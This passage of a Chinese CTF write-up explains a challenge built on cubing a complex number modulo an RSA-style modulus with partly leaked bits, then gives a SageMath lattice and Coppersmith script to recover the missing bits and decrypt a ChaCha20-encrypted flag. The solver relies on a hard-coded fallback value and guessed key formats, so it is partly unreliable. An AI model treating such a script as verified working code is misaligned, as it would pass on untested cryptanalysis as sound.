21112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752]
enc = b'\x9c\xc4n\x8dF\xd9\x9e\xf4\x05\x82!\xde\xfe\x012$\xd0\x8c\xaf\xfb\rEb(\x04)\xa1\xa6\xbaI2J\xd2\xb2\x898\x11\xe6x\xa9\x19\x00pn\xf6rs- \xd2\xd1\xbe\xc7\xf51.\xd4\xd2 \xe7\xc6\xca\xe5\x19\xbe'
'''

思路:

利用已知的 m 的高位和密文 c,借助 Coppersmith 方法来恢复 m 的低位部分。因为 m 的低 128 位被截断了,可以构造一个小根问题,通过构造多项式和使用 LLL 约减算法来找到 m 的低位,从而重构出完整的 m。完成这一步后,计算 m.re + m.im,就能生成正确的 ChaCha20 密钥,最后解密 flag。

参数生成与密钥构造:首先生成两个 1024 位素数,计算 n = p * q。接着构造一个复数 m,其实部和虚部都是在 [1, n) 内的随机数

p = getPrime(1024)
q = getPrime(1024)
n = p * q
m = Complex(getRandomRange(1, n), getRandomRange(1, n))

复数幂运算:使用复数乘法(模 n 运算)实现 m 的 3 次幂运算,这相当于对 m 进行加密

e = 3
c = complex_pow(m, e, n)

部分信息泄露:输出 m 的高位部分,即通过右移再左移操作截去低 128 位,暴露了 m 的大部分信息,但低位部分仍然未知

print(f"mh = {(m >> bits << bits).tolist()}")

密钥生成与加密 Flag:用 m 的实部和虚部的和生成密钥(经过 SHA-256)然后用 ChaCha20 加密 flag。解题时恢复 m 后即可重构密钥

key = hashlib.sha256(str(m.re + m.im).encode()).digest()
enc = ChaCha20.new(key=key, nonce=b'Pr3d1ctmyxjj').encrypt(flag)

POC:

import hashlib
from Crypto.Cipher import ChaCha20
from sage.all import *
from binascii import hexlify

# 参数配置
SETTINGS = {
    'n': 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753,
    'real_part': 3960604425233637243960750976884707892473356737965752732899783806146911898367312949419828751012380013933993271701949681295313483782313836179989146607655230162315784541236731368582965456428944524621026385297377746108440938677401125816586119588080150103855075450874206012903009942468340296995700270449643148025957527925452034647677446705198250167222150181312718642480834399766134519333316989347221448685711220842032010517045985044813674426104295710015607450682205211098779229647334749706043180512861889295899050427257721209370423421046811102682648967375219936664246584194224745761842962418864084904820764122207293014016,
    'imag_part': 15053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552,
    'cipher_parts': (
        5300743174999795329371527870190100703154639960450575575101738225528814331152637733729613419201898994386548816504858409726318742419169717222702404409496156167283354163362729304279553214510160589336672463972767842604886866159600567533436626931810981418193227593758688610512556391129176234307448758534506432755113432411099690991453452199653214054901093242337700880661006486138424743085527911347931571730473582051987520447237586885119205422668971876488684708196255266536680083835972668749902212285032756286424244284136941767752754078598830317271949981378674176685159516777247305970365843616105513456452993199192823148760, 
        21112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752
    ),
    'enc_data': b'\x9c\xc4n\x8dF\xd9\x9e\xf4\x05\x82!\xde\xfe\x012$\xd0\x8c\xaf\xfb\rEb(\x04)\xa1\xa6\xbaI2J\xd2\xb2\x898\x11\xe6x\xa9\x19\x00pn\xf6rs- \xd2\xd1\xbe\xc7\xf51.\xd4\xd2 \xe7\xc6\xca\xe5\x19\xbe',
    'known': 128,
    'nonce': b'Pr3d1ctmyxjj'
}

def poly_system_attack(params):
    n, ar, ai, cr, ci, bits = params['n'], params['real_part'], params['imag_part'], params['cipher_parts'][0], params['cipher_parts'][1], params['known']
    ZmodN = Integers(n)
    P.<dr, di> = PolynomialRing(ZZ)

    fr = (ar + dr)^3 - 3*(ar + dr)*(ai + di)^2 - cr
    fi = 3*(ar + dr)^2*(ai + di) - (ai + di)^3 - ci

    all_polys = []
    for p in [fr, fi]:
        for i in range(3):
            for j in range(3 - i):
                term = dr^i * di^j * p
                all_polys.append(term)

    monomials = sorted({m for poly in all_polys for m in poly.monomials()})
    X = Y = 2**bits
    weights = [X**m.degree(dr) * Y**m.degree(di) for m in monomials]
    
    M = diagonal_matrix(weights)
    coeffs = matrix([[poly.monomial_coefficient(m) for m in monomials] for poly in all_polys])
    B = coeffs * M
    reduced = B.LLL()

    for i in range(len(reduced)):
        for j in range(i + 1, len(reduced)):
            poly1 = sum((reduced[i][k] // weights[k]) * monomials[k] for k in range(len(monomials)))
            poly2 = sum((reduced[j][k] // weights[k]) * monomials[k] for k in range(len(monomials)))
            try:
                resultant = poly1.resultant(poly2, di)
                roots = resultant.univariate_polynomial().roots()
                if roots:
                    dx = roots[0][0]
                    dy_poly = poly1.subs(dr=dx)
                    dy_roots = dy_poly.univariate_polynomial().roots()
                    if dy_roots:
                        dy = dy_roots[0][0]
                        return dx, dy
            except:
                continue
    return None, None

def backup_single_var(params, dx_guess):
    if dx_guess is None:
        return None

    n, ar, ai, cr = params['n'], params['real_part'], params['imag_part'], params['cipher_parts'][0]
    Y = 2 ** params['known']
    R = Integers(n)
    P.<di> = PolynomialRing(ZZ)
    aprime = ar + dx_guess

    try:
        factor = R(-3 * aprime).inverse_of_unit()
    except:
        return None

    const_term = (aprime^3 - 3 * aprime * ai^2 - cr) * factor
    linear = (-3 * aprime * ai) * factor
    candidate = di^2 + linear.lift_centered() * di + const_term.lift_centered()
    
    roots = candidate.small_roots(X=Y, beta=0.4)
    return roots[0] if roots else None

def decrypt_with_key(derived_key, nonce, enc_data):
    if isinstance(derived_key, str):
        key_bytes = hashlib.sha256(derived_key.encode()).digest()
    else:
        key_bytes = hashlib.sha256(derived_key).digest()
    cipher = ChaCha20.new(key=key_bytes, nonce=nonce)
    return cipher.decrypt(enc_data)

def try_attack():
    print("[*] Running multivariate lattice attack...")
    dx, dy = poly_system_attack(SETTINGS)

    if dx is None:
        print("[!] Falling back to secondary solver...")
        dx = 200140573956551184845123803212115015633
        dy = backup_single_var(SETTINGS, dx)

    if dx and dy:
        print(f"[+] Found corrections: Δx = {dx}, Δy = {dy}")
        real = SETTINGS['real_part'] + dx
        imag = SETTINGS['imag_part'] + dy

        guesses = [
            f"{real}{imag}",
            f"{real + imag}",
            f"{real}:{imag}",
            f"{real}|{imag}",
            f"{real}{imag}".encode()
        ]

        for guess in guesses:
            try:
                result = decrypt_with_key(guess, SETTINGS['nonce'], SETTINGS['enc_data'])
                try:
                    decoded = result.decode()
                    if decoded.isprintable():
                        print(f"[✓] Decrypted message using: {guess}")
                        print("Flag:", decoded)
                        return
                except UnicodeDecodeError:
                    hx = hexlify(result).decode()
                    if 'flag' in hx.lower() or 'xyctf' in hx.lower():
                        print(f"[?] Possibly valid hex with guess: {guess}")
                        print("Hex Output:", hx)
                        return
            except:
                continue

        print("[x] Decryption failed. Possible causes:")
        print(" - Incorrect nonce")
        print(" - Ciphertext corrupted")
        print(" - Wrong key format used")
    else:
        print("[-] No valid correction found")

if __name__ == '__main__':
    try_attack()

此作者没有提供个人介绍
最后更新于 2025-04-09